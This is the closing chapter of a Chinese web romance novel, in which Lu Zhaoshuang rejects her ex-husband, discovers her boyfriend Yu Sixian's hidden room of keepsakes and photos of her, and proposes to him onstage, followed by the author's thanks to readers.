目送着他们的车开走,陆照霜刚要说话,就被郁思弦拉着走到了另一辆车边。 他一言不发,护着她的头坐进了副驾,然后折身坐进驾驶座。 “思——”她方一开口,就被郁思弦捧住脸吻了上来。 海潮将她淹没了。 一个绵长的吻结束,他抵在她唇边,指腹轻轻摩挲她白皙的脸颊,轻声道:“阿照,我很想你。” 陆照霜伸手摘下他的眼镜,双臂勾住他脖颈,仰头吻在了他唇上。 “我也是。” …… 酒店的门刚一合上,陆照霜就被抵在了门上,和郁思弦吻在了一起。 灼热的气息交缠在一起,已经搞不清是在吞咽还是呼吸,好像要把过去一个月没有见到的空隙全部用吻填满。 直到快要喘不过气的那一刻,他才终于肯松开她。 “阿照,”郁思弦的手指若有若无地按揉着她的后颈皮肤,“今天看着你的人实在有些太多了。” 讨人厌的苍蝇也跟着变多了。 陆照霜听出他语气里隐隐的躁意,哼笑了一声,“你明明之前还夸我们的主意好。” “好到让我觉得我是在自讨苦吃了,”他垂眸看着她,又按了一下她的后颈,随即手指一路蜿蜒而下,“我们好像都没法去外面约会了。” 他力道那么轻,隔着毛衣似有似无地触及皮肤,激得她浑身微微颤栗,简直像一种折磨。 “过一阵就会忘掉的,”陆照霜一边安抚他,一边向后仰,身体却已经牢牢地贴住了门口,退无可退,只能喘息着阻止他,“等、等等……” 他不作声,她只好抓住他的手,“等等!” 郁思弦啄了一下她的唇,语气近乎诱哄,“不可以吗?” “不是,我是想说,”陆照霜窘到把头埋进了他胸口,“如果你没有带那个的话,那我们可以先买好再继续……” 救命,但凡她上次没拿安全套来逗他,现在都不会有这么不好意思。 郁思弦听得闷笑了一声,托住她的臀,抱她走向卧室,“不会再像上次一样失误了。” 第65章【正文完结】 第65章 ◎因为我爱你【正文完结】◎ 卧室里的温度越攀越高,陆照霜陷在柔软的被窝里,身体好像化成了一摊软泥。 郁思弦伏低身体,高领毛衣因紧绷的肌肉而上下起伏,流利的颈部线条滑入衣领中,喉结在里面若隐若现。 陆照霜很难从那上面移开视线。 她真的没法抗拒,从他谨严外表下露出的动情一角,就像她上次也没法抗拒,他握着木牌时孩子一样专注的眼睛。 那些从郁思弦成熟、温柔、尽在掌握的外表下,偶然泄露出的碎片。 她顺从心意,双肘撑在床榻上,微微仰起身,抬头吻住他的喉结,“你怎么都不脱衣服的?” 上次他好像也没有脱衣服,虽然上次他们也没继续往下做就是了。 他喉结微微滚动了一下,“一定要脱掉吗?” “呃……”陆照霜还从没思考过这个问题。 准确来说她也不讨厌穿着衣服做,但是冬天的衣料蹭到皮肤,总归是有点刺痒的。 郁思弦看到她因为苦恼而微微拧起的眉,伸手把那道褶皱揉开,然后坐起身,掀起衣服下摆脱了下来,垂眸接受她的审视。 陆照霜的目光微微凝滞。 昏黄的床头灯打在郁思弦身上,肌肉线条漂亮流畅,没有那种夸张的胸肌,一切都恰到好处,让人赏心悦目。 如果不是几道长长的伤疤,伏在他胸膛的话。 那是他小时候做手术留下的。 陆照霜声音有点哑了,“所以你才从来不肯跟我一起游泳吗?” “我也不是自卑还是什么,”郁思弦声音带点些微的滞涩,“就是觉得……你看到了可能会觉得不舒服。” 陆照霜的手指慢慢抚上了那些凸起的疤痕,“不会,很漂亮。” 郁思弦身体肌肉绷紧,不由抓住了她的手指,“阿照,我真的没关系,不用说这种话来安慰我。” “你又不相信我了。” 这次郁思弦没有反驳,而是静了一静,“伤疤怎么可能漂亮?” “嗯,”陆照霜点了点头,“伤疤当然不漂亮,但因为是在你身上,所以我觉得漂亮。” 郁思弦被她这没头没脑的一句话说得一怔。 陆照霜挣开了他的手,重新按住那些疤痕,几乎是在喃喃自语:“明明是这么帅气的人,身上却有这么多伤疤。明明有关系,但只会跟我说没关系。” “明明长得很冷淡,但其实温柔到连我随口说的话都会一直记在心上。” “明明看上去那么温柔,但其实也很强势,不许我拒绝和后退,经常搞得我不知所措。” “明明那么喜欢步步紧逼,但我都已经走到你面前了,你又说我可以反悔。” 陆照霜抬起头,看着他的眼睛,“郁思弦,怎么会有你这么矛盾的人?你知不知道,你简直是一个矛盾的集合体。” 郁思弦喉口发紧,“我前后不一让你讨厌吗?” “不会。” 陆照霜在这一刻才领悟到,为什么她去《乐队人》现场的那天,会觉得那栋大楼那么熟悉。 因为那种嶙峋的、锋利的、孤独的、荒芜的矛盾感,与郁思弦是如此相近。 他就在那些进与退的矛盾间隙里,挣扎着望着她。 她终于倾身,凑过去,吻在了他的疤痕上,“郁思弦,你不知道吗?好吧矛盾是最让人着迷的东西。” 再没有比她这个动作、这句话更能让他战栗的了。 他捧起她的脸,再也无法自抑,虔诚又贪婪地和她吻在了一起。 他们一起跌进泥潭,彼此侵占、彼此接纳、彼此拥有。 …… 次日一早醒来,看到身边空空的床铺,陆照霜已经不会觉得惊讶了。 那里叠着一身整整齐齐的家居服,陆照霜伸手去拿,但刚一攥住,就忽然有了个别的主意。 郁思弦摆好餐桌,听到门锁声,下意识回头,“阿照,你醒——” 女孩揉着头发朝他走近,身上同上次一样,只穿着他的宽大衬衫。 但与上次不同的是,她敞开的衣领处,隐约可见斑驳的红痕,小腿上还落着青紫的指印。 她白皙的皮肤和白净的衬衫,把这几抹异样的颜色衬得如此显眼,简直像是在指控他,昨晚做得有多么过分。 郁思弦仿佛被烫到了一样,仓促挪开视线,“阿照,你怎么……” 陆照霜心说,还能是为什么,当然是为了看你这样的反应。 但这话要是告诉他,他以后肯定不会让她继续这么玩了。 她假装不知道,扑过去环住他的腰,仰头看着他,故作无知地问:“怎么了?女朋友都不可以穿男朋友的衬衫吗?” “不是。”郁思弦只说了一句就闭上嘴,好掩盖自己沙哑的嗓音。 只是被她随便蹭了蹭,他就又开始想到一些来自昨夜的画面,好像身体一旦越过边界,那再简单的碰触都随时可能擦枪走火。 但他目前的底线,还绝对接受不了早餐都没吃,就在餐桌边做这种事。 他双手握住她肩膀,将她身体掰正,清了清嗓子,“好好吃饭。” 陆照霜努力按捺住笑意,也没再得寸进尺,“嗯”了一声。 郁思弦为她拉开椅子,陆照霜刚要坐下,就听见玄关传来“嗡嗡”的振动声,应该是她昨晚放在口袋里没有拿出来的手机。 她生怕错过什么重要的事情,赶忙跑过去,看到是个陌生来电,犹豫了一下接起。 “喂?” 萧烨的声音从听筒里传来,“阿霜。” 陆照霜立刻挂断了电话,并直接把这个手机号拉黑。 郁思弦抱臂靠着餐桌,看她这个反应,还有什么不明白,“萧烨?” “嗯,已经拉黑了。”陆照霜不想瞒他,朝他晃了晃黑名单界面。 郁思弦眼神无端得有些淡。 “好啦,”陆照霜凑过去,踮起脚亲了亲吃醋的男朋友,“我手机都快没电了,你充电器在哪?” 郁思弦沉默着朝客厅那边努了努下巴。 陆照霜又亲了他一口,然后跑去充电。 “嗡嗡。”手机再次振动,又是来自申城的陌生号码。 陆照霜不用猜就知道是谁了,手指悬在挂断键上,犹豫了一下。 挂了的话,萧烨不会再换个号码打过来吧? 就在她思考的这短短几秒,一只温热的手掌从后伸来,拿走了她的手机。 陆照霜没反应过来,只是无意识地跟着抬手,却被对方牢牢扣住手腕。 “思弦?” 郁思弦没说话,就着这个姿势,把她紧紧困在怀里,如同叼着猎物后颈的野兽,咬在了她颈侧。 力道不算重,但也能让她感觉到犬齿抵着皮肤的鲜明触感。 她被咬得痒,身体下意识瑟缩了一下,却好像被理解为了抗拒,于是拥着她的力道更紧几分。 刚才还旗帜鲜明、不肯大早上犯禁的男人,此刻沿着她的侧颈皮肤,撕咬、含吮,一下又一下,浓烈的侵占欲刺激着她的神经,让她全身都过电般颤抖起来。 她身体发软,全靠他的身体支撑才没有跌坐在地,“思弦,别……” “阿照,我有关系。” 陆照霜愣了一下。 这还是他第一次,说他有关系。 “你接萧烨的电话、跟他说话、跟他见面……所有跟萧烨有关的事情,我全都有关系。” 他又轻轻咬了她一口,既像是宣泄,又像是哀求,直白地向她坦露嫉妒和占有欲。 陆照霜努力平复了一下呼吸,手指颤抖着抚上他禁锢她的那只手。 “思弦,可能从你的角度看,我是因为那天见到了白斯榕才跟萧烨离婚的,所以如果他能回心转意,那我也会回心转意。但其实,在那天之前,我和萧烨就已经有很大矛盾了,就算没有白斯榕,也只是把离婚的时间推得更晚一点。” 郁思弦呼吸都变得有些轻了。 “思弦,我和萧烨离婚,不是因为他不喜欢我,是因为我不喜欢他了。” 郁思弦沉默了好一会儿,才像是被她打败了一样,垂头伏在她颈边,深深呼吸了好几口。 最后,他终于肯将手机递还她手里。 “阿照,去跟他说清楚,”他语气温柔,却不容置疑,“这是最后一次。” …… 陆照霜不愿再继续为了萧烨多烦心,左右跨年晚会已经结束,没什么重要的事情,她和郁思弦当天就飞回了申城,晚上约了萧烨见面。 出发前,她在镜子里看到颈侧几乎难以遮掩的吻痕,不由小声诋毁,“真是心机。” 虽然她也不讨厌他有心机就是了。 换了一身领子更高的毛衣,她出了门,开车前往萧烨订的餐厅。 餐厅毗邻江水,波光粼粼,船只载着游客一轮轮往来,景色静谧优美。 陆照霜却没有心情欣赏风景,到了包间就径自坐下来,开门见山,“找我有什么事?” 萧烨把菜单递向她,“先吃点东西吧。” 陆照霜没接,“我吃过饭才来的。” 萧烨僵了一僵,默默把菜单收了回来,“抱歉,我一直用错了方式,让你很烦心吧?我看了昨晚的跨年晚会,没有我的插手,你自己……能做得更好。” 陆照霜听他说起这件事,胸口还是会隐隐刺痛,“如果你就是想为这个道歉的话,那好,我听到了,以后真的别再联系我了。” 萧烨脸色微变,“阿霜。” “你说想给我补偿,那我唯一想要的补偿,就是你不要出现在我的生活里,”陆照霜侧身从包里取出一只盒子,推到桌对面,“这个你搬走的时候没带,正好还给你。” 萧烨有种不妙的预感,把盒子打开,里面赫然是他回国那天送给她的粉钻项链。 他呼吸一紧,倏然把盒子合上,闭了闭眼,“阿霜,说它是炒作出来的,这一点才是骗你的。” 陆照霜愣了一下。 “我们之前有很多误会,我一直没有解释给你听,”萧烨把一只箱子提到桌上,打开,露出里面整整齐齐放好的音乐会门票和木牌,“你以前寄给我的门票我都好好收着,我不是因为不在乎你才不去听,我……” 这一次,他终于能把话说出口了,“就是因为太在意了,所以才不敢去听。” 陆照霜目光从那些门票,挪到他脸上,最后落在那条潘多拉之心上。 时过境迁,她现在才明白过来,怎么会有人花一千万美元竞拍一件漂亮的珠宝,仅仅是为了羞辱对方? 可那又如何? 他把礼物包装成羞辱,用来试探她,就像那些被收起的门票一样,它们证明不了爱,只能证明,他不愿意爱她。 当然这一点,也早都不重要了。 陆照霜有些疲惫地看了眼时间,提起手包,“你说完了?那我走了。” 萧烨立刻上前一步,攥住她手腕,急急道:“阿霜,以前是我没能理解你,所以总是做伤害你的事情,但以后——” 他话音蓦然打住,目光死死凝在她领口隐约露出的红痕上。 “你……”他大脑空白了一瞬,但很快就猜到了真相,“你、你和郁思弦在一起了?” “是。”陆照霜挣脱他的手,揉了揉手腕。 “什么时候?” 陆照霜笑了,“希望你明白,我没必要给你什么交代。” 萧烨嗓子瞬间涩到发苦,好半晌他才找回自己的声音,“阿霜,和他在一起开心吗?” “嗯,开心,”陆照霜垂下眼,轻声道:“就算因为工作忙没法见面,但那些打电话的时间,也比跟你在一起的两年加起来更开心。” 这句话让他霎时沉入湖底。 “是嘛,”他似乎是想笑笑,但嘴唇颤抖了一下,还是没能笑出来,“我好像……没法对你说祝福。” “挺好,因为我也没法对你说谢谢,”陆照霜转身握住门把手,“既然话说完了,那我走了。我出来见你思弦会觉得不安,我不想让他这样,以后我不会再见你了。” “阿霜!”萧烨最后一次叫住她。 陆照霜微微一顿,希望他这次别再废话。 他站在那里,捂着脸,轻声道:“郁思弦江源名苑的房子二楼,有一间暗房,你应该看看,我猜那家伙永远没勇气告诉你。” 她莫名地看向他。 他最后还是放下手,勉强对她笑了一下,“就当,我上次打了他一拳的补偿。” 陆照霜没再多说,迈步出门。 包房空下来了,江面上的船只越来越少,最后一只也没有了。 萧烨浑浑噩噩从包房出来,餐厅里几乎没什么人了,一楼的小型室内乐团朝最后的客人们鞠躬行礼。 “今天的最后一首,《Liebesfreud》,新年的第一天,祝大家都能和爱人长长久久!” 萧烨左耳进右耳出,脚步不停,直到小提琴拉响,他猛然回过身。 这是……蜜月期最后一天,陆照霜在酒店拉过的那首曲子。 音乐刚一结束,他就冲上去抓住那个小提琴手,“你刚才拉的曲子叫什么名字?” 演奏家懵了一下,但还是回答:“《Lie*besfreud》,哦,它的中文译名应该是《爱之喜》。” 萧烨身体一僵,回想起他说那句狠话前,陆照霜期待又紧张的眼神。 她当时总不能,是准备告诉他曲子的名字,来向他表白。 不,绝对不能是这样,他绝对不能是在那种情况下,对她说的那句话。 他摇着头,肯定着自己的猜测,“不对、不对,我听到的要比这个更……”欢快和欣喜。 “当然,”那位演奏家正了正衣襟,“音乐又不是机器,别说不同的人了,就算是同一个人、在不同的时间演奏,情绪也不可能一样,所以啊,每一次演奏,都是唯一的一次。” 萧烨的手垂落下去,然后慢慢地、不可遏制地笑起来。 每一次演奏都是唯一一次,他们之间的时机,也只有那唯一一次。 * 陆照霜回家的路上,总会反反复复想起萧烨最后说的话。 情感上她不愿意相信他,但理智上又知道,他这次没理由骗她。 车子开到家门口的时候,她咬了咬牙,倒车,驶向了湖对面。 她知道郁思弦家的密码,正式交往以后,也知道了郁思弦家里所有门的钥匙放在哪。 理论上陆照霜可以神不知鬼不觉,趁郁思弦不在,找到那个房间。 但她停下车以后,就按了郁思弦家的门铃,等他一开门,直接问:“萧烨说你家有一个没告诉我的暗房,是这样吗?” 郁思弦眼睫颤动了一下。 她看着他,“嗯?” 他没有回答是与不是,只是轻轻拉住了她的手,带着她上了二楼,将钥匙插进重新修好的门锁,然后松开她。 他的声音平静到堪称认命,“阿照,你可以亲眼去看。” 陆照霜沉默了一下。 竟然真的有。 她深吸了一口气,拧开门锁,按亮灯,然后被满屋的照片死死钉在原地。 那些照片没什么不能见人的内容,但每一张的主角都是她,她记得的、不记得的,横贯了从童年、到少年、到成年十数年的时光。 置物架上摆着各种陈旧的物品——她隐约有印象,却根本记不清是什么年岁送给他的礼物。 所有的一切如同一场时间的巨浪,一下子就吞没了她。 她腿软得厉害,做梦般往前走,一样一样看过去。 那里甚至躺着一张打印出来的、她没有去成的茱莉亚音乐学院的offer。 她手指颤抖了好几下,才能把那张offer拿起,却发现下面还挨着一份东西。 她翻过去,那是哥伦比亚大学的offer。 申请人,郁思弦。 她胸口剧烈地起伏了一下。 郁思弦别开了视线,没有再看。 他们这一段时间相处得很不错,一切都在往好的方向发展,如果没有这件屋子的话。 即便里面没有偷拍照这种龌龊的东西,他也不会侥幸到,以为他这种行为是正常的。 但他不可能在她来坦诚问他的情况下,对她撒谎。 “阿照,觉得恶心吗?”他低垂着头,明明站在走廊明亮的灯光下,却像是被送上了绞刑架,等待最后的审判。 她的声音听起来有点低沉,“如果是别人这么做的话,可能会吧,但因为我爱你,所以还好。” 郁思弦起先已如被判死刑一样闭上了眼,但在听到最后一句时,他倏然抬起头,几乎不敢相信自己的耳朵。 陆照霜手里还握着那两份offer,看着他的表情,几乎像要哭出来。 郁思弦立刻上前,有点不知所措地捧住她的脸,“阿照,哭什么?” “你一直被困在这个房子里吗?” “我没有……” “我要你去想的那件事,你想到了吗?” “前两年我不该疏远你。” “不对,”陆照霜摇了摇头,直接问:“你从什么时候开始失眠的?” “……我从小睡眠就不好。” “这我知道,我是问,你从什么时候开始严重到要吃安眠药的?” “……” “什么时候?” 郁思弦有些狼狈地别开视线,吐字都有些艰难,“两年前。” 啊……果然,他不肯告诉她的事情,总是与她有关。 陆照霜好像终于明白,那天她听到郁思弦说起公园的退休乐队时,那种堵到发紧的感觉是什么了。 原来是心痛啊。 她嘴唇颤动了一下,但到底没有哭出来,反而揪住他衣领,迫使他直视她的眼睛,“郁思弦,我应该不是什么很糟糕的人。” 郁思弦立刻道:“当然不是。” “所以喜欢我这件事,不应该让你的人生变成一片废墟。” 郁思弦瞳孔微微一震,“阿照……” “我们一起慢慢调整,尽量控制,少吃点安眠药,好吗?” 他喉咙有些微的干涩,“好。” “你可以继续留着这个屋子,但不用再藏起来。如果你喜欢记录,我们可以一起做手账,好吗?” “好。” 陆照霜看着面前的这个人。 他无数次欲言又止地吊她胃口,也同样无数次,把最脆弱的自己坦露在她面前。 他也许不够热烈不够坚强不够勇敢,但即便是这些不完美的地方,也一样让她觉得,深受吸引。 如果说十四岁时的心动,是热烈滚烫的夏天,满街风声蝉鸣都掩饰不住的剧烈心跳。 那二十七岁的心动,就是漫卷进无边的夜幕里,足以弥合所有伤痕的满天月色。 她抬手捧住他的脸,“思弦,我很高兴,你能带我去搁浅,把我从之前那种状态里拉出来,我希望你也是。我会好好注视着你的,也请你好好注视你自己的人生,好吗?” 郁思弦的回答,是紧紧把她搂进怀里的拥抱。 她也同样,紧紧回抱住他。 * 盛夏再次降临申城,即便已经到了下午四点,温度依然十分可怖。 郁思弦下了车走到门口的这一会儿功夫,就已经被热得出了一层汗。 他以前其实不怎么畏热,现在这样,大概是调作息确实对身体有影响。 打开家门,他扯掉领带,准备换身衣服就赶去阿照的livehouse,却发现玄关墙上贴着一张便利贴,是阿照的笔迹。 【请上二楼(^v^)】 他揭下便利贴,看着后面的颜文字,眉眼不自觉微微弯起,如她所愿上了楼。 墙上又贴着一张便利贴,【请向前走到第五扇门→】 郁思弦停在了过去的那间暗房前,门口的便利贴写着——【请打开,按顺序有序观看(^v^)】 他不明所以地推开门,然后因视线所及,愣在了当场。 …… 如今逃出人间的演出一票难求,不卡着放票的点去抢,根本不可能拿到,好在郁思弦作为发售渠道方,总不会被一张票难倒。 但,livehouse里人满为患,拥挤得人人平等。 郁思弦倚着二楼的栏杆,尽量不和旁边的人碰到,并第n次怀疑,他果然是在自作自受。 没一会儿,演出正式开始,陆照霜第二个出场,一只手握着小提琴和琴弓,另一只手将两指并在额边,向台下轻轻扬起。 欢呼她名字的声音几乎要掀翻屋顶。 郁思弦看着她的笑容,微微叹了口气,好吧,他果然还是最喜欢,她这样闪闪发光的样子。 台上除了唐湾动弹不得,其他四个人在livehouse这种场合,简直如鱼得水,舞台编排和观众互动把场子炒得热火朝天,甚至有不少粉丝,愿意为了这种现场体验,追巡演连跑好几个城市。 几乎感觉不到时间的流逝,就已经抵达了演出的尾声。 林珩握着麦克风,“今天的最后一首歌,是我们还从没发行过的一首新歌。” 这话一出,台下全都是惊喜的尖叫。 “这首歌的词曲作者嘛,全是我旁边这位小提琴手,等等!先别激动,你们是不知道,我去年就跟她提了这个建议,她拖了足足一年,才把这首歌写出来!” 听着林珩语气里的抱怨,陆照霜摊开手,朝他耸了耸肩。 “总之,这首《囚鸟》,希望大家喜欢!” “小小的天地,梳无用的羽毛, 日复一日,不知在对谁单调歌唱。 清晨被分割竖条纹, 光还是那么亮, 仿佛记不清的梦里, 也曾在那片光下又笑又闹。 生锈的铁笼,这也正常, 孱弱的翅膀,钻出笼子,也没法飞翔。 直到春雨带风,摇摇晃晃, 跌在地面,竖栏敞开窄窄的通道。 泥泞浸透脚掌,雨水打湿绒毛。 笼子在后面引诱—— 回那里,又可以再次安睡。 可连风雨,都是梦里熟悉的味道。 乌云散开,踉跄振翅,朝天空跌撞, 原来每片羽毛,都渴望风里翱翔。 每只囚鸟,都飞抵自由的港。” 小提琴清亮的音色,宛如刺破天光的一声振翅,在台下勾起了热烈的欢呼和掌声。 “看来大家反响不错,我们副队长首次单独作词作曲还算成功,就是不知道,其他事情是不是也这么顺利呢?” 林珩对陆照霜一阵坏笑,“听说我们副队长今天临走前,好像做了件大事啊,不知道结果怎么样?” “这个嘛,”陆照霜笑了笑,视线准确上移,落在了二楼位置的那个人身上,“正好我也想知道。” 郁思弦迎着她的注视,终于忍不住低笑出声。 他缓缓挪开自己一直盖在左手上面的右手,银色的戒圈在灯光下闪着微光。 “哦,”陆照霜眨了下眼,唇角勾起,从衣兜里掏出戒指,戴在了自己的无名指上,“看来我今天的求婚是成功了!” 观众席里尖叫成一片,都四下张望,看那位被求婚的幸运男士是谁。 而当事人郁思弦本人,已经小心、低调又珍惜地,重新把戒指挡在了手掌下面。 …… 在郁思弦推开那扇门后,迎接他的,是数不清的、贴在照片上的便利贴。 “早知道你这么喜欢平安符,我就给你也买一个了。” “我也很喜欢和你一起看灌篮高手!” “繁星之后的最后一场演出,是和你一起去看的,我很开心,我永远不会忘掉那个下午!” “没有和你去成纽约,但是一起待在申城的那四年,多谢你在我每一次崩溃的时候陪在我身边。” “虽然一直说你不用来,但其实每次音乐会在观众里面找到你,我都很高兴。” …… 郁思弦站在繁星一样摇摇晃晃的贴纸下面,单手捂住双眼,几乎要被那阵突如其来的酸胀击倒。 那些他独自一人珍藏的漫长时光,被她用一段段文字,认真回应了。 他努力忍耐住心头翻涌的情绪,顺着便利贴走到最后。 那里摆着一只敞开的戒指盒,男戒后面插着一张硬壳卡纸—— 【我们的故事未完待续,请和我一起看到生命的终点吧。】 【作者有话说】 非常感谢看到这里的读者朋友们!!! 正文就到这里啦,番外休息几天再写,下本预计《陷落他的网》和《蝴蝶叫她别出声》二选一,求个收藏呀[三花猫头][三花猫头] 在写最后一版大纲之前,我笔记本上写了一句话“那是爬满虱子的华袍,她总有一天会把它完全丢开。” 总之虽然作者沉迷于自己的叙事艺术(贬义版艺术)不知天地为何物,这篇文有诸多缺点,但阿照和思弦无论遇到什么困难,都会继续走下去的。(作者也会好好复盘,争取下本进步的) 再次感谢所有看到这里、评论、投递营养液和地雷的读者们![可怜][可怜]